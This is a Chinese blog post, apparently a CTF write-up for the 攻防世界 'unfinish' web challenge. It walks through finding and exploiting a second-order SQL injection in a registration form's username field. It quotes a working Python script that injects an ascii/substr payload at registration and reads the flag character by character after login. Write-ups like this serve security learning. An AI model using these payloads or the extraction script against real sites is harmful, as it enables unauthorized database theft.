博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界 unfinish
阅读量:2066 次
发布时间:2019-04-29

本文共 1448 字,大约阅读时间需要 4 分钟。

  • 题目描述:sql注入
  • 访问进去是个登录页面
  • dirsearch扫描了一下
    在这里插入图片描述
  • 访问register.php
  • 注册了个账号 登录进去好像没什么用 返回登录页面
  • 但是 这里我想到了一个注入方式 在我写sql注入基础知识的时候提到过 但是 没有仔细研究
  • 二次注入
  • 这里注入的点应该是在register.php页面中的name中
  • 因为邮箱和密码还需要登录时候使用
  • 具体可以看我前面的文章
    在这里插入图片描述
  • 单引号注册失败了 于是我将用户名改为root' and '1这里注册成功了
  • 也就是说这里的闭合方式应该是单引号闭合 且没有我之前学的addslashes()这些转义
  • 这个时候登录进去了 用户名为0
    在这里插入图片描述
  • 所以这里必然是存在sql注入的 但是我在尝试注册name为1' union select 1,database()#的时候
  • 也面返回了一个nnnnoooo!!!!也就是 这里还存在一个过滤????
  • 所以需要用burpsuit fuzz一下
    在这里插入图片描述
  • 过滤了很多东西 information_schema被过滤掉我属实没想到 完全不知道怎么搞了
  • 无奈wp
  • 附上大佬的做题脚本
import requestsimport reregister_url = 'http://111.200.241.244:45701/register.php'login_url = 'http://111.200.241.244:45701/login.php'for i in range(1, 100):    register_data = {
'email': '111@123.com%d' % i, 'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i, 'password': 'admin' } res = requests.post(url=register_url, data=register_data) login_data = {
'email': '111@123.com%d' % i, 'password': 'admin' } res_ = requests.post(url=login_url, data=login_data) code = re.search(r'\s*(\d*)\s*', res_.text) print(chr(int(code.group(1))), end='')
  • 下面是自己的理解
  • 既然是用户名处可以进行二次注入 并且information_schema被过滤了 想利用union注入肯定是不行的了
  • 在mysql中+号的作用就是将字符转化为数字相加
'1' + '1a' # 2'0' + database() # 0 '0' + substr(database(),1,1) # 100 则database()的第一个字符的ascii值就为100
  • 所以核心的注入代码就是
"0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
  • 之后通过正则去获取login.php页面的用户名值就是flag每一位的ascii码值
  • 我要补充mysql知识了 以前学的做现在的题目完全不够用…

转载地址:http://vywmf.baihongyu.com/

你可能感兴趣的文章
(PAT 1061) Dating (字符串处理)
查看>>
(PAT 1118) Birds in Forest (并查集)
查看>>
数据结构 拓扑排序
查看>>
(PAT 1040) Longest Symmetric String (DP-最长回文子串)
查看>>
(PAT 1145) Hashing - Average Search Time (哈希表冲突处理)
查看>>
(1129) Recommendation System 排序
查看>>
PAT1090 Highest Price in Supply Chain 树DFS
查看>>
(PAT 1096) Consecutive Factors (质因子分解)
查看>>
(PAT 1019) General Palindromic Number (进制转换)
查看>>
(PAT 1073) Scientific Notation (字符串模拟题)
查看>>
(PAT 1080) Graduate Admission (排序)
查看>>
Play on Words UVA - 10129 (欧拉路径)
查看>>
mininet+floodlight搭建sdn环境并创建简答topo
查看>>
【linux】nohup和&的作用
查看>>
【UML】《Theach yourself uml in 24hours》——hour4
查看>>
Set、WeakSet、Map以及WeakMap结构基本知识点
查看>>
【NLP学习笔记】(一)Gensim基本使用方法
查看>>
【NLP学习笔记】(二)gensim使用之Topics and Transformations
查看>>
【深度学习】LSTM的架构及公式
查看>>
【深度学习】GRU的结构图及公式
查看>>